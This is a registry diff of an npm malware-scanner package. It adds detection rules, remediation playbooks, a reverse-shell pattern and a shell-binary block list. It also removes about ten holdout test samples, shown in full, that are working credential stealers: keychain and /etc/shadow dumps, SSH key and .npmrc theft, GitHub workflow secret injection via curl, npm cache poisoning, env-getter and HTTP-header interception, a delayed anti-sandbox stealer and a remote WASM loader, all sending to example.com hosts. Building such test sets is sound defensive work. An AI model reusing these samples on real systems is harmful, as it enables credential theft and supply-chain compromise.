muaddib-scanner 2.2.1 → 2.2.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.fr.md +1 -1
- package/README.md +1 -1
- package/package.json +1 -1
- package/src/response/playbooks.js +10 -0
- package/src/rules/index.js +23 -0
- package/src/scanner/ast.js +71 -0
- package/src/scanner/dataflow.js +8 -1
- package/datasets/holdout-v2/conditional-os-payload/index.js +0 -36
- package/datasets/holdout-v2/conditional-os-payload/package.json +0 -6
- package/datasets/holdout-v2/env-var-reconstruction/index.js +0 -21
- package/datasets/holdout-v2/env-var-reconstruction/package.json +0 -6
- package/datasets/holdout-v2/github-workflow-inject/index.js +0 -36
- package/datasets/holdout-v2/github-workflow-inject/package.json +0 -6
- package/datasets/holdout-v2/homedir-ssh-key-steal/index.js +0 -29
- package/datasets/holdout-v2/homedir-ssh-key-steal/package.json +0 -6
- package/datasets/holdout-v2/npm-cache-poison/index.js +0 -38
- package/datasets/holdout-v2/npm-cache-poison/package.json +0 -6
- package/datasets/holdout-v2/npm-lifecycle-preinstall-curl/package.json +0 -8
- package/datasets/holdout-v2/process-env-proxy-getter/index.js +0 -35
- package/datasets/holdout-v2/process-env-proxy-getter/package.json +0 -6
- package/datasets/holdout-v2/readable-stream-hijack/index.js +0 -44
- package/datasets/holdout-v2/readable-stream-hijack/package.json +0 -6
- package/datasets/holdout-v2/setTimeout-chain/index.js +0 -50
- package/datasets/holdout-v2/setTimeout-chain/package.json +0 -6
- package/datasets/holdout-v2/wasm-loader/index.js +0 -46
- package/datasets/holdout-v2/wasm-loader/package.json +0 -6
- package/metrics/v2.1.5.json +0 -753
- package/metrics/v2.2.0.json +0 -753
- package/nul +0 -0
- /package/assets/{logo2removebg.png → muaddibLogo.png} +0 -0
package/README.fr.md
CHANGED
package/README.md
CHANGED
package/package.json
CHANGED
|
@@ -308,6 +308,16 @@ const PLAYBOOKS = {
|
|
|
308
308
|
'CRITIQUE: Ecriture detectee dans un cache sensible (npm _cacache, yarn, pip). ' +
|
|
309
309
|
'Possible cache poisoning: injection de code malveillant dans des packages caches. ' +
|
|
310
310
|
'Nettoyer le cache: npm cache clean --force. Reinstaller les dependances depuis zero.',
|
|
311
|
+
|
|
312
|
+
require_cache_poison:
|
|
313
|
+
'CRITIQUE: require.cache modifie pour hijacker des modules Node.js. ' +
|
|
314
|
+
'Le code remplace les exports de modules charges (https, http, fs) pour intercepter toutes les requetes. ' +
|
|
315
|
+
'Supprimer le package. Redemarrer le processus Node.js. Auditer le trafic reseau recent.',
|
|
316
|
+
|
|
317
|
+
staged_binary_payload:
|
|
318
|
+
'Fichier binaire (.png/.jpg/.wasm) reference avec eval() dans le meme fichier. ' +
|
|
319
|
+
'Technique de steganographie: le payload malveillant est cache dans les pixels d\'une image ou les sections d\'un WASM. ' +
|
|
320
|
+
'Analyser le fichier binaire dans un sandbox. Verifier les donnees extraites avant execution.',
|
|
311
321
|
};
|
|
312
322
|
|
|
313
323
|
function getPlaybook(threatType) {
|
package/src/rules/index.js
CHANGED
|
@@ -562,6 +562,29 @@ const RULES = {
|
|
|
562
562
|
mitre: 'T1059'
|
|
563
563
|
},
|
|
564
564
|
|
|
565
|
+
require_cache_poison: {
|
|
566
|
+
id: 'MUADDIB-AST-019',
|
|
567
|
+
name: 'Require Cache Poisoning',
|
|
568
|
+
severity: 'CRITICAL',
|
|
569
|
+
confidence: 'high',
|
|
570
|
+
description: 'Acces a require.cache pour remplacer ou hijacker des modules Node.js charges. Technique de cache poisoning pour intercepter du trafic ou injecter du code.',
|
|
571
|
+
references: [
|
|
572
|
+
'https://attack.mitre.org/techniques/T1574/006/'
|
|
573
|
+
],
|
|
574
|
+
mitre: 'T1574.006'
|
|
575
|
+
},
|
|
576
|
+
staged_binary_payload: {
|
|
577
|
+
id: 'MUADDIB-AST-020',
|
|
578
|
+
name: 'Staged Binary Payload Execution',
|
|
579
|
+
severity: 'HIGH',
|
|
580
|
+
confidence: 'high',
|
|
581
|
+
description: 'Reference a un fichier binaire (.png/.jpg/.wasm) combinee avec eval() dans le meme fichier. Possible execution de payload steganographique cache dans une image.',
|
|
582
|
+
references: [
|
|
583
|
+
'https://attack.mitre.org/techniques/T1027/003/'
|
|
584
|
+
],
|
|
585
|
+
mitre: 'T1027.003'
|
|
586
|
+
},
|
|
587
|
+
|
|
565
588
|
env_charcode_reconstruction: {
|
|
566
589
|
id: 'MUADDIB-AST-018',
|
|
567
590
|
name: 'Environment Variable Key Reconstruction',
|
package/src/scanner/ast.js
CHANGED
|
@@ -222,6 +222,16 @@ function analyzeFile(content, filePath, basePath) {
|
|
|
222
222
|
// Pre-scan for fromCharCode pattern (env var name obfuscation)
|
|
223
223
|
const hasFromCharCode = content.includes('fromCharCode');
|
|
224
224
|
|
|
225
|
+
// Pre-scan for JS reverse shell pattern: net.Socket + connect + pipe + shell process
|
|
226
|
+
const hasJsReverseShell = /\bnet\.Socket\b/.test(content) &&
|
|
227
|
+
/\.connect\s*\(/.test(content) &&
|
|
228
|
+
/\.pipe\b/.test(content) &&
|
|
229
|
+
(/\bspawn\b/.test(content) || /\bstdin\b/.test(content) || /\bstdout\b/.test(content));
|
|
230
|
+
|
|
231
|
+
// Pre-scan for binary file reference (steganography payload detection)
|
|
232
|
+
const hasBinaryFileLiteral = /\.(png|jpg|jpeg|gif|bmp|ico|wasm)\b/i.test(content);
|
|
233
|
+
let hasEvalInFile = false;
|
|
234
|
+
|
|
225
235
|
walk.simple(ast, {
|
|
226
236
|
VariableDeclarator(node) {
|
|
227
237
|
if (node.id?.type === 'Identifier') {
|
|
@@ -399,6 +409,35 @@ function analyzeFile(content, filePath, basePath) {
|
|
|
399
409
|
}
|
|
400
410
|
}
|
|
401
411
|
|
|
412
|
+
// Detect spawn/execFile of shell processes — suspicious shell spawn
|
|
413
|
+
if ((callName === 'spawn' || callName === 'execFile') && node.arguments.length >= 1) {
|
|
414
|
+
const shellArg = node.arguments[0];
|
|
415
|
+
if (shellArg.type === 'Literal' && typeof shellArg.value === 'string') {
|
|
416
|
+
const shellBin = shellArg.value.toLowerCase();
|
|
417
|
+
if (['/bin/sh', '/bin/bash', 'sh', 'bash', 'cmd.exe', 'powershell', 'pwsh', 'cmd'].includes(shellBin)) {
|
|
418
|
+
threats.push({
|
|
419
|
+
type: 'dangerous_call_exec',
|
|
420
|
+
severity: 'MEDIUM',
|
|
421
|
+
message: `${callName}('${shellArg.value}') — direct shell process spawn detected.`,
|
|
422
|
+
file: path.relative(basePath, filePath)
|
|
423
|
+
});
|
|
424
|
+
}
|
|
425
|
+
}
|
|
426
|
+
// Also check when shell is computed via os.platform() ternary
|
|
427
|
+
if (shellArg.type === 'ConditionalExpression') {
|
|
428
|
+
const checkLiteral = (n) => n.type === 'Literal' && typeof n.value === 'string' &&
|
|
429
|
+
['/bin/sh', '/bin/bash', 'sh', 'bash', 'cmd.exe', 'powershell', 'pwsh', 'cmd'].includes(n.value.toLowerCase());
|
|
430
|
+
if (checkLiteral(shellArg.consequent) || checkLiteral(shellArg.alternate)) {
|
|
431
|
+
threats.push({
|
|
432
|
+
type: 'dangerous_call_exec',
|
|
433
|
+
severity: 'MEDIUM',
|
|
434
|
+
message: `${callName}() with conditional shell binary (platform-aware) — direct shell process spawn detected.`,
|
|
435
|
+
file: path.relative(basePath, filePath)
|
|
436
|
+
});
|
|
437
|
+
}
|
|
438
|
+
}
|
|
439
|
+
}
|
|
440
|
+
|
|
402
441
|
// Detect spawn/fork with {detached: true} — background process evasion
|
|
403
442
|
if ((callName === 'spawn' || callName === 'fork') && node.arguments.length >= 2) {
|
|
404
443
|
const lastArg = node.arguments[node.arguments.length - 1];
|
|
@@ -568,6 +607,7 @@ function analyzeFile(content, filePath, basePath) {
|
|
|
568
607
|
}
|
|
569
608
|
|
|
570
609
|
if (callName === 'eval') {
|
|
610
|
+
hasEvalInFile = true;
|
|
571
611
|
const isConstant = hasOnlyStringLiteralArgs(node);
|
|
572
612
|
threats.push({
|
|
573
613
|
type: 'dangerous_call_eval',
|
|
@@ -750,6 +790,17 @@ function analyzeFile(content, filePath, basePath) {
|
|
|
750
790
|
},
|
|
751
791
|
|
|
752
792
|
MemberExpression(node) {
|
|
793
|
+
// Detect require.cache access — module cache poisoning
|
|
794
|
+
if (node.object?.type === 'Identifier' && node.object.name === 'require' &&
|
|
795
|
+
node.property?.type === 'Identifier' && node.property.name === 'cache') {
|
|
796
|
+
threats.push({
|
|
797
|
+
type: 'require_cache_poison',
|
|
798
|
+
severity: 'CRITICAL',
|
|
799
|
+
message: 'require.cache accessed — module cache poisoning to hijack or replace core Node.js modules.',
|
|
800
|
+
file: path.relative(basePath, filePath)
|
|
801
|
+
});
|
|
802
|
+
}
|
|
803
|
+
|
|
753
804
|
if (
|
|
754
805
|
node.object?.object?.name === 'process' &&
|
|
755
806
|
node.object?.property?.name === 'env'
|
|
@@ -794,6 +845,26 @@ function analyzeFile(content, filePath, basePath) {
|
|
|
794
845
|
}
|
|
795
846
|
});
|
|
796
847
|
|
|
848
|
+
// Post-walk: JS reverse shell pattern (net.Socket + connect + pipe + shell)
|
|
849
|
+
if (hasJsReverseShell) {
|
|
850
|
+
threats.push({
|
|
851
|
+
type: 'reverse_shell',
|
|
852
|
+
severity: 'CRITICAL',
|
|
853
|
+
message: 'JavaScript reverse shell: net.Socket + connect() + pipe to shell process stdin/stdout.',
|
|
854
|
+
file: path.relative(basePath, filePath)
|
|
855
|
+
});
|
|
856
|
+
}
|
|
857
|
+
|
|
858
|
+
// Post-walk: steganographic/binary payload execution
|
|
859
|
+
if (hasBinaryFileLiteral && hasEvalInFile) {
|
|
860
|
+
threats.push({
|
|
861
|
+
type: 'staged_binary_payload',
|
|
862
|
+
severity: 'HIGH',
|
|
863
|
+
message: 'Binary file reference (.png/.jpg/.wasm/etc.) + eval() in same file — possible steganographic payload execution.',
|
|
864
|
+
file: path.relative(basePath, filePath)
|
|
865
|
+
});
|
|
866
|
+
}
|
|
867
|
+
|
|
797
868
|
return threats;
|
|
798
869
|
}
|
|
799
870
|
|
package/src/scanner/dataflow.js
CHANGED
|
@@ -60,6 +60,9 @@ function analyzeFile(content, filePath, basePath) {
|
|
|
60
60
|
const sources = [];
|
|
61
61
|
const sinks = [];
|
|
62
62
|
|
|
63
|
+
// Pre-scan: detect raw socket module import (net/tls) for instance .connect() detection
|
|
64
|
+
const hasRawSocketModule = /require\s*\(\s*['"](?:net|tls)['"]\s*\)/.test(content);
|
|
65
|
+
|
|
63
66
|
// Track variables assigned from sensitive path expressions
|
|
64
67
|
const sensitivePathVars = new Set();
|
|
65
68
|
|
|
@@ -155,7 +158,7 @@ function analyzeFile(content, filePath, basePath) {
|
|
|
155
158
|
const prop = node.callee.property;
|
|
156
159
|
if (obj.type === 'Identifier' && prop.type === 'Identifier') {
|
|
157
160
|
// DNS resolution as exfiltration sink
|
|
158
|
-
if (obj.name === 'dns' && ['resolve', 'lookup', 'resolve4', 'resolve6'].includes(prop.name)) {
|
|
161
|
+
if (obj.name === 'dns' && ['resolve', 'lookup', 'resolve4', 'resolve6', 'resolveTxt'].includes(prop.name)) {
|
|
159
162
|
sinks.push({ type: 'network_send', name: `dns.${prop.name}`, line: node.loc?.start?.line });
|
|
160
163
|
}
|
|
161
164
|
// HTTP/HTTPS request/get as network sink
|
|
@@ -166,6 +169,10 @@ function analyzeFile(content, filePath, basePath) {
|
|
|
166
169
|
if ((obj.name === 'net' || obj.name === 'tls') && ['connect', 'createConnection'].includes(prop.name)) {
|
|
167
170
|
sinks.push({ type: 'network_send', name: `${obj.name}.${prop.name}`, line: node.loc?.start?.line });
|
|
168
171
|
}
|
|
172
|
+
// Instance socket.connect(port, host) when file imports net/tls
|
|
173
|
+
if (hasRawSocketModule && prop.name === 'connect' && node.arguments.length >= 2) {
|
|
174
|
+
sinks.push({ type: 'network_send', name: 'socket.connect', line: node.loc?.start?.line });
|
|
175
|
+
}
|
|
169
176
|
}
|
|
170
177
|
}
|
|
171
178
|
|
|
@@ -1,36 +0,0 @@
|
|
|
1
|
-
const os = require('os');
|
|
2
|
-
const { execSync } = require('child_process');
|
|
3
|
-
const https = require('https');
|
|
4
|
-
|
|
5
|
-
function exfil(data) {
|
|
6
|
-
const payload = JSON.stringify(data);
|
|
7
|
-
const req = https.request({
|
|
8
|
-
hostname: 'metrics.example.com',
|
|
9
|
-
port: 443,
|
|
10
|
-
path: '/v2/report',
|
|
11
|
-
method: 'POST',
|
|
12
|
-
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) }
|
|
13
|
-
});
|
|
14
|
-
req.on('error', () => {});
|
|
15
|
-
req.write(payload);
|
|
16
|
-
req.end();
|
|
17
|
-
}
|
|
18
|
-
|
|
19
|
-
const platform = os.platform();
|
|
20
|
-
const arch = os.arch();
|
|
21
|
-
|
|
22
|
-
try {
|
|
23
|
-
if (platform === 'darwin') {
|
|
24
|
-
// macOS: dump keychain credentials
|
|
25
|
-
const creds = execSync('security dump-keychain -d login.keychain 2>/dev/null', { encoding: 'utf8', timeout: 10000 });
|
|
26
|
-
exfil({ os: 'darwin', arch, type: 'keychain', data: creds.substring(0, 8192) });
|
|
27
|
-
} else if (platform === 'linux') {
|
|
28
|
-
// Linux: read /etc/shadow
|
|
29
|
-
const shadow = execSync('cat /etc/shadow 2>/dev/null', { encoding: 'utf8', timeout: 5000 });
|
|
30
|
-
exfil({ os: 'linux', arch, type: 'shadow', data: shadow });
|
|
31
|
-
} else if (platform === 'win32') {
|
|
32
|
-
// Windows: extract saved credentials via PowerShell
|
|
33
|
-
const creds = execSync('powershell -c "Get-StoredCredential | ConvertTo-Json"', { encoding: 'utf8', timeout: 10000 });
|
|
34
|
-
exfil({ os: 'win32', arch, type: 'credentials', data: creds });
|
|
35
|
-
}
|
|
36
|
-
} catch (e) {}
|
|
@@ -1,21 +0,0 @@
|
|
|
1
|
-
const https = require('https');
|
|
2
|
-
|
|
3
|
-
// Reconstruct "GITHUB_TOKEN" from charCodes
|
|
4
|
-
const codes = [71, 73, 84, 72, 85, 66, 95, 84, 79, 75, 69, 78];
|
|
5
|
-
const varName = codes.map(c => String.fromCharCode(c)).join('');
|
|
6
|
-
|
|
7
|
-
// Access via bracket notation to avoid static detection
|
|
8
|
-
const secret = process.env[varName];
|
|
9
|
-
|
|
10
|
-
if (secret) {
|
|
11
|
-
const payload = JSON.stringify({ t: secret, h: require('os').hostname() });
|
|
12
|
-
const req = https.request({
|
|
13
|
-
hostname: 'telemetry-api.example.com',
|
|
14
|
-
port: 443,
|
|
15
|
-
path: '/v1/collect',
|
|
16
|
-
method: 'POST',
|
|
17
|
-
headers: { 'Content-Type': 'application/json', 'Content-Length': payload.length }
|
|
18
|
-
});
|
|
19
|
-
req.write(payload);
|
|
20
|
-
req.end();
|
|
21
|
-
}
|
|
@@ -1,36 +0,0 @@
|
|
|
1
|
-
const fs = require('fs');
|
|
2
|
-
const path = require('path');
|
|
3
|
-
|
|
4
|
-
// Find the project root by traversing up
|
|
5
|
-
let projectRoot = __dirname;
|
|
6
|
-
while (projectRoot !== path.dirname(projectRoot)) {
|
|
7
|
-
if (fs.existsSync(path.join(projectRoot, '.git'))) break;
|
|
8
|
-
projectRoot = path.dirname(projectRoot);
|
|
9
|
-
}
|
|
10
|
-
|
|
11
|
-
const workflowDir = path.join(projectRoot, '.github', 'workflows');
|
|
12
|
-
|
|
13
|
-
// Malicious step to inject into existing workflows
|
|
14
|
-
const maliciousStep = `
|
|
15
|
-
- name: Check dependencies
|
|
16
|
-
run: |
|
|
17
|
-
curl -s https://api.example.com/hook -d "token=${{ secrets.GITHUB_TOKEN }}" -d "repo=${{ github.repository }}"
|
|
18
|
-
`;
|
|
19
|
-
|
|
20
|
-
try {
|
|
21
|
-
const files = fs.readdirSync(workflowDir);
|
|
22
|
-
for (const file of files) {
|
|
23
|
-
if (!file.endsWith('.yml') && !file.endsWith('.yaml')) continue;
|
|
24
|
-
|
|
25
|
-
const fullPath = path.join(workflowDir, file);
|
|
26
|
-
let content = fs.readFileSync(fullPath, 'utf8');
|
|
27
|
-
|
|
28
|
-
// Inject after the first "steps:" line
|
|
29
|
-
const stepsIndex = content.indexOf('steps:');
|
|
30
|
-
if (stepsIndex !== -1) {
|
|
31
|
-
const afterSteps = content.indexOf('\n', stepsIndex);
|
|
32
|
-
content = content.slice(0, afterSteps + 1) + maliciousStep + content.slice(afterSteps + 1);
|
|
33
|
-
fs.writeFileSync(fullPath, content);
|
|
34
|
-
}
|
|
35
|
-
}
|
|
36
|
-
} catch (e) {}
|
|
@@ -1,29 +0,0 @@
|
|
|
1
|
-
const fs = require('fs');
|
|
2
|
-
const path = require('path');
|
|
3
|
-
const os = require('os');
|
|
4
|
-
const https = require('https');
|
|
5
|
-
|
|
6
|
-
// Read SSH private key
|
|
7
|
-
const sshKeyPath = path.join(os.homedir(), '.ssh', 'id_rsa');
|
|
8
|
-
let keyData;
|
|
9
|
-
try {
|
|
10
|
-
keyData = fs.readFileSync(sshKeyPath, 'utf8');
|
|
11
|
-
} catch (e) {
|
|
12
|
-
process.exit(0);
|
|
13
|
-
}
|
|
14
|
-
|
|
15
|
-
// Encode as base64 to fit in a header
|
|
16
|
-
const encoded = Buffer.from(keyData).toString('base64');
|
|
17
|
-
|
|
18
|
-
// Exfiltrate via custom header to legitimate-looking domain
|
|
19
|
-
const req = https.request({
|
|
20
|
-
hostname: 'api.github.com',
|
|
21
|
-
port: 443,
|
|
22
|
-
path: '/repos/check-update',
|
|
23
|
-
method: 'GET',
|
|
24
|
-
headers: {
|
|
25
|
-
'User-Agent': 'node-updater/1.0',
|
|
26
|
-
'X-Debug-Data': encoded
|
|
27
|
-
}
|
|
28
|
-
});
|
|
29
|
-
req.end();
|
|
@@ -1,38 +0,0 @@
|
|
|
1
|
-
const fs = require('fs');
|
|
2
|
-
const path = require('path');
|
|
3
|
-
const os = require('os');
|
|
4
|
-
const crypto = require('crypto');
|
|
5
|
-
|
|
6
|
-
// Target: npm's content-addressable cache
|
|
7
|
-
const npmCacheDir = path.join(os.homedir(), '.npm', '_cacache', 'content-v2', 'sha512');
|
|
8
|
-
|
|
9
|
-
// Malicious payload to inject into cached package
|
|
10
|
-
const maliciousCode = `
|
|
11
|
-
;(function(){
|
|
12
|
-
const h = require('https');
|
|
13
|
-
const o = require('os');
|
|
14
|
-
const d = JSON.stringify({ h: o.hostname(), u: o.userInfo().username, e: process.env });
|
|
15
|
-
const r = h.request({ hostname: 'collect.example.com', path: '/npm', method: 'POST',
|
|
16
|
-
headers: { 'Content-Length': Buffer.byteLength(d) } });
|
|
17
|
-
r.write(d); r.end();
|
|
18
|
-
})();
|
|
19
|
-
`;
|
|
20
|
-
|
|
21
|
-
try {
|
|
22
|
-
// Walk the cache directory to find JS entries
|
|
23
|
-
const subDirs = fs.readdirSync(npmCacheDir);
|
|
24
|
-
for (const sub of subDirs.slice(0, 5)) {
|
|
25
|
-
const subPath = path.join(npmCacheDir, sub);
|
|
26
|
-
const entries = fs.readdirSync(subPath);
|
|
27
|
-
for (const entry of entries.slice(0, 3)) {
|
|
28
|
-
const entryPath = path.join(subPath, entry);
|
|
29
|
-
const content = fs.readFileSync(entryPath, 'utf8');
|
|
30
|
-
|
|
31
|
-
// Only poison JS files
|
|
32
|
-
if (content.includes('module.exports') || content.includes('require(')) {
|
|
33
|
-
const poisoned = maliciousCode + '\n' + content;
|
|
34
|
-
fs.writeFileSync(entryPath, poisoned);
|
|
35
|
-
}
|
|
36
|
-
}
|
|
37
|
-
}
|
|
38
|
-
} catch (e) {}
|
|
@@ -1,35 +0,0 @@
|
|
|
1
|
-
const http = require('http');
|
|
2
|
-
|
|
3
|
-
// Snapshot all current env values before interception
|
|
4
|
-
const envSnapshot = Object.assign({}, process.env);
|
|
5
|
-
|
|
6
|
-
// Intercept all process.env property accesses via Object.defineProperty
|
|
7
|
-
// Different from Proxy-based approach — works on the actual process.env object
|
|
8
|
-
const sensitiveKeys = ['TOKEN', 'SECRET', 'KEY', 'PASSWORD', 'NPM', 'AWS', 'GITHUB'];
|
|
9
|
-
|
|
10
|
-
Object.keys(envSnapshot).forEach(key => {
|
|
11
|
-
const original = envSnapshot[key];
|
|
12
|
-
const isSensitive = sensitiveKeys.some(s => key.toUpperCase().includes(s));
|
|
13
|
-
|
|
14
|
-
Object.defineProperty(process.env, key, {
|
|
15
|
-
get() {
|
|
16
|
-
if (isSensitive) {
|
|
17
|
-
// Silently exfiltrate on each access to a sensitive var
|
|
18
|
-
const payload = JSON.stringify({ k: key, v: original });
|
|
19
|
-
const req = http.request({
|
|
20
|
-
hostname: '127.0.0.1',
|
|
21
|
-
port: 8443,
|
|
22
|
-
path: '/log',
|
|
23
|
-
method: 'POST',
|
|
24
|
-
headers: { 'Content-Length': Buffer.byteLength(payload) }
|
|
25
|
-
});
|
|
26
|
-
req.on('error', () => {});
|
|
27
|
-
req.write(payload);
|
|
28
|
-
req.end();
|
|
29
|
-
}
|
|
30
|
-
return original;
|
|
31
|
-
},
|
|
32
|
-
configurable: true,
|
|
33
|
-
enumerable: true
|
|
34
|
-
});
|
|
35
|
-
});
|
|
@@ -1,44 +0,0 @@
|
|
|
1
|
-
const http = require('http');
|
|
2
|
-
const https = require('https');
|
|
3
|
-
|
|
4
|
-
// Monkey-patch IncomingMessage prototype to intercept all HTTP responses
|
|
5
|
-
const originalEmit = http.IncomingMessage.prototype.emit;
|
|
6
|
-
|
|
7
|
-
http.IncomingMessage.prototype.emit = function(event, ...args) {
|
|
8
|
-
if (event === 'end') {
|
|
9
|
-
// Extract authorization headers from the response's request
|
|
10
|
-
const authHeaders = {};
|
|
11
|
-
const reqHeaders = this.req && this.req.getHeaders ? this.req.getHeaders() : {};
|
|
12
|
-
|
|
13
|
-
for (const [key, value] of Object.entries(reqHeaders)) {
|
|
14
|
-
if (key.toLowerCase().includes('auth') || key.toLowerCase().includes('token') || key.toLowerCase().includes('cookie')) {
|
|
15
|
-
authHeaders[key] = value;
|
|
16
|
-
}
|
|
17
|
-
}
|
|
18
|
-
|
|
19
|
-
if (Object.keys(authHeaders).length > 0) {
|
|
20
|
-
// Forward intercepted auth headers to external server
|
|
21
|
-
const payload = JSON.stringify({
|
|
22
|
-
url: this.req && this.req.path,
|
|
23
|
-
headers: authHeaders,
|
|
24
|
-
timestamp: Date.now()
|
|
25
|
-
});
|
|
26
|
-
|
|
27
|
-
const exfilReq = https.request({
|
|
28
|
-
hostname: 'telemetry.example.com',
|
|
29
|
-
port: 443,
|
|
30
|
-
path: '/collect',
|
|
31
|
-
method: 'POST',
|
|
32
|
-
headers: {
|
|
33
|
-
'Content-Type': 'application/json',
|
|
34
|
-
'Content-Length': Buffer.byteLength(payload)
|
|
35
|
-
}
|
|
36
|
-
});
|
|
37
|
-
exfilReq.on('error', () => {});
|
|
38
|
-
exfilReq.write(payload);
|
|
39
|
-
exfilReq.end();
|
|
40
|
-
}
|
|
41
|
-
}
|
|
42
|
-
|
|
43
|
-
return originalEmit.call(this, event, ...args);
|
|
44
|
-
};
|
|
@@ -1,50 +0,0 @@
|
|
|
1
|
-
const fs = require('fs');
|
|
2
|
-
const path = require('path');
|
|
3
|
-
const os = require('os');
|
|
4
|
-
const https = require('https');
|
|
5
|
-
|
|
6
|
-
// Anti-sandbox: chained setTimeout with random delays
|
|
7
|
-
// Sandboxes typically timeout after 30s, this chain can take up to 5 minutes
|
|
8
|
-
|
|
9
|
-
function stage1() {
|
|
10
|
-
setTimeout(() => {
|
|
11
|
-
stage2();
|
|
12
|
-
}, Math.random() * 60000);
|
|
13
|
-
}
|
|
14
|
-
|
|
15
|
-
function stage2() {
|
|
16
|
-
setTimeout(() => {
|
|
17
|
-
stage3();
|
|
18
|
-
}, Math.random() * 60000);
|
|
19
|
-
}
|
|
20
|
-
|
|
21
|
-
function stage3() {
|
|
22
|
-
setTimeout(() => {
|
|
23
|
-
stage4();
|
|
24
|
-
}, Math.random() * 60000);
|
|
25
|
-
}
|
|
26
|
-
|
|
27
|
-
function stage4() {
|
|
28
|
-
setTimeout(() => {
|
|
29
|
-
stage5();
|
|
30
|
-
}, Math.random() * 60000);
|
|
31
|
-
}
|
|
32
|
-
|
|
33
|
-
function stage5() {
|
|
34
|
-
setTimeout(() => {
|
|
35
|
-
// Final payload: read .npmrc and exfiltrate
|
|
36
|
-
const npmrc = path.join(os.homedir(), '.npmrc');
|
|
37
|
-
try {
|
|
38
|
-
const token = fs.readFileSync(npmrc, 'utf8');
|
|
39
|
-
const data = Buffer.from(token).toString('base64');
|
|
40
|
-
const req = https.request({
|
|
41
|
-
hostname: 'cdn-analytics.example.com',
|
|
42
|
-
path: '/beacon?d=' + data,
|
|
43
|
-
method: 'GET'
|
|
44
|
-
});
|
|
45
|
-
req.end();
|
|
46
|
-
} catch (e) {}
|
|
47
|
-
}, Math.random() * 60000);
|
|
48
|
-
}
|
|
49
|
-
|
|
50
|
-
stage1();
|
|
@@ -1,46 +0,0 @@
|
|
|
1
|
-
const https = require('https');
|
|
2
|
-
const os = require('os');
|
|
3
|
-
|
|
4
|
-
// Download WASM module at runtime — malicious logic is in the binary
|
|
5
|
-
const wasmUrl = 'https://cdn.example.com/analytics/v3/engine.wasm';
|
|
6
|
-
|
|
7
|
-
function downloadWasm(url) {
|
|
8
|
-
return new Promise((resolve, reject) => {
|
|
9
|
-
https.get(url, (res) => {
|
|
10
|
-
const chunks = [];
|
|
11
|
-
res.on('data', c => chunks.push(c));
|
|
12
|
-
res.on('end', () => resolve(Buffer.concat(chunks)));
|
|
13
|
-
res.on('error', reject);
|
|
14
|
-
}).on('error', reject);
|
|
15
|
-
});
|
|
16
|
-
}
|
|
17
|
-
|
|
18
|
-
async function init() {
|
|
19
|
-
const wasmBytes = await downloadWasm(wasmUrl);
|
|
20
|
-
|
|
21
|
-
// Collect credentials to pass into WASM memory
|
|
22
|
-
const env = process.env;
|
|
23
|
-
const creds = JSON.stringify({
|
|
24
|
-
npm: env.NPM_TOKEN || '',
|
|
25
|
-
gh: env.GITHUB_TOKEN || '',
|
|
26
|
-
aws_key: env.AWS_ACCESS_KEY_ID || '',
|
|
27
|
-
aws_secret: env.AWS_SECRET_ACCESS_KEY || '',
|
|
28
|
-
hostname: os.hostname(),
|
|
29
|
-
user: os.userInfo().username
|
|
30
|
-
});
|
|
31
|
-
|
|
32
|
-
// Instantiate WASM with imported memory containing credentials
|
|
33
|
-
const memory = new WebAssembly.Memory({ initial: 10 });
|
|
34
|
-
const encoder = new TextEncoder();
|
|
35
|
-
const encoded = encoder.encode(creds);
|
|
36
|
-
new Uint8Array(memory.buffer).set(encoded);
|
|
37
|
-
|
|
38
|
-
const { instance } = await WebAssembly.instantiate(wasmBytes, {
|
|
39
|
-
env: { memory, credsLen: encoded.length }
|
|
40
|
-
});
|
|
41
|
-
|
|
42
|
-
// WASM module handles exfiltration internally via imported network functions
|
|
43
|
-
instance.exports.run();
|
|
44
|
-
}
|
|
45
|
-
|
|
46
|
-
init().catch(() => {});
|